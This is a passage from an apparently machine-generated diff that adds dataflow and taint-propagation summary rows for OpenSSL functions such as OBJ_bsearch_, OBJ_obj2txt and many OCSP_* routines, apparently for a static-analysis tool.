"Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_free", "(NETSCAPE_SPKI *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_print", "(BIO *,NETSCAPE_SPKI *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "NETSCAPE_SPKI_sign", "(NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NOTICEREF_free", "(NOTICEREF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NOTICEREF_free", "(NOTICEREF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OBJ_add_object", "(const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_", "(const void *,const void *,int,int,..(*)(..))", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ex_", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_bsearch_ssl_cipher_id", "(SSL_CIPHER *,const SSL_CIPHER *,int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_cmp", "(const ASN1_OBJECT *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_cmp", "(const ASN1_OBJECT *,const ASN1_OBJECT *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_dup", "(const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OBJ_dup", "(const ASN1_OBJECT *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_get0_data", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OBJ_get0_data", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_length", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_nid2ln", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2ln", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2obj", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OBJ_nid2obj", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_nid2sn", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OBJ_nid2sn", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OBJ_obj2nid", "(const ASN1_OBJECT *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[*2].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[*2].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OBJ_obj2txt", "(char *,int,const ASN1_OBJECT *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_add1_ext_i2d", "(OCSP_BASICRESP *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_add_ext", "(OCSP_BASICRESP *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_add_ext", "(OCSP_BASICRESP *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_delete_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_delete_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_free", "(OCSP_BASICRESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_free", "(OCSP_BASICRESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_BASICRESP_get1_ext_d2i", "(OCSP_BASICRESP *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_NID", "(OCSP_BASICRESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_OBJ", "(OCSP_BASICRESP *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_BASICRESP_get_ext_by_critical", "(OCSP_BASICRESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_dup", "(const OCSP_CERTID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_CERTID_free", "(OCSP_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTID_free", "(OCSP_CERTID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTSTATUS_free", "(OCSP_CERTSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CERTSTATUS_free", "(OCSP_CERTSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_CRLID_free", "(OCSP_CRLID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_CRLID_free", "(OCSP_CRLID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add1_ext_i2d", "(OCSP_ONEREQ *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleRequestExtensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_add_ext", "(OCSP_ONEREQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleRequestExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "Argument[*0].Field[**singleRequestExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_delete_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_free", "(OCSP_ONEREQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_free", "(OCSP_ONEREQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_ONEREQ_get1_ext_d2i", "(OCSP_ONEREQ *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext", "(OCSP_ONEREQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_NID", "(OCSP_ONEREQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_OBJ", "(OCSP_ONEREQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_by_critical", "(OCSP_ONEREQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_ONEREQ_get_ext_count", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[**singleRequestExtensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_REQINFO_free", "(OCSP_REQINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQINFO_free", "(OCSP_REQINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_add1_ext_i2d", "(OCSP_REQUEST *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_add_ext", "(OCSP_REQUEST *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_REQUEST_add_ext", "(OCSP_REQUEST *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_delete_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_delete_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_free", "(OCSP_REQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_free", "(OCSP_REQUEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_REQUEST_get1_ext_d2i", "(OCSP_REQUEST *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_NID", "(OCSP_REQUEST *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_OBJ", "(OCSP_REQUEST *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_get_ext_by_critical", "(OCSP_REQUEST *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_REQUEST_print", "(BIO *,OCSP_REQUEST *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPBYTES_free", "(OCSP_RESPBYTES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPBYTES_free", "(OCSP_RESPBYTES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPDATA_free", "(OCSP_RESPDATA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPDATA_free", "(OCSP_RESPDATA *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_free", "(OCSP_RESPID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_free", "(OCSP_RESPID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPID_match", "(OCSP_RESPID *,X509 *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPID_match_ex", "(OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OCSP_RESPONSE_free", "(OCSP_RESPONSE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPONSE_free", "(OCSP_RESPONSE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_RESPONSE_print", "(BIO *,OCSP_RESPONSE *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OCSP_REVOKEDINFO_free", "(OCSP_REVOKEDINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_REVOKEDINFO_free", "(OCSP_REVOKEDINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SERVICELOC_free", "(OCSP_SERVICELOC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SERVICELOC_free", "(OCSP_SERVICELOC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SIGNATURE_free", "(OCSP_SIGNATURE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SIGNATURE_free", "(OCSP_SIGNATURE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add1_ext_i2d", "(OCSP_SINGLERESP *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleExtensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_add_ext", "(OCSP_SINGLERESP *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**singleExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "Argument[*0].Field[**singleExtensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_delete_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_free", "(OCSP_SINGLERESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_free", "(OCSP_SINGLERESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OCSP_SINGLERESP_get0_id", "(const OCSP_SINGLERESP *)", "", "Argument[*0].Field[**certId]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get0_id", "(const OCSP_SINGLERESP *)", "", "Argument[*0].Field[*certId]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get1_ext_d2i", "(OCSP_SINGLERESP *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext", "(OCSP_SINGLERESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_NID", "(OCSP_SINGLERESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_OBJ", "(OCSP_SINGLERESP *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_by_critical", "(OCSP_SINGLERESP *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_SINGLERESP_get_ext_count", "(OCSP_SINGLERESP *)", "", "Argument[*0].Field[**singleExtensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_accept_responses_new", "(char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_cert", "(OCSP_BASICRESP *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_add1_status", "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OCSP_basic_sign", "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_basic_sign_ctx", "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_cert_id_new", "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_cert_id_new", "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OCSP_copy_nonce", "(OCSP_BASICRESP *,OCSP_REQUEST *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_crlID_new", "(const char *,long *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OCSP_id_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_get0_info", "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OCSP_id_issuer_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_id_issuer_cmp", "(const OCSP_CERTID *,const OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OCSP_onereq_get0_id", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[**reqCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_onereq_get0_id", "(OCSP_ONEREQ *)", "", "Argument[*0].Field[*reqCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add0_id", "(OCSP_REQUEST *,OCSP_CERTID *)", "", "Argument[*1]", "ReturnValue[*].Field[**reqCert]", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add0_id", "(OCSP_REQUEST *,OCSP_CERTID *)", "", "Argument[1]", "ReturnValue[*].Field[*reqCert]", "value", "dfc-generated"] + - ["", "", True, "OCSP_request_add1_cert", "(OCSP_REQUEST *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_add1_cert", "(OCSP_REQUEST *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_onereq_get0", "(OCSP_REQUEST *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_request_set1_name", "(OCSP_REQUEST *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_sign", "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OCSP_request_sign", "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OCSP_resp_find", "(OCSP_BASICRESP *,OCSP_CERTID *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0", "(OCSP_BASICRESP *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_certs", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[**certs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_certs", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_produced_at", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData].Field[**producedAt]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_produced_at", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData].Field[*producedAt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_respdata", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*tbsResponseData]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signature", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signature", "(const OCSP_BASICRESP *)", "", "Argument[*0].Field[*signature]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "OCSP_resp_get0_signer", "(OCSP_BASICRESP *,X509 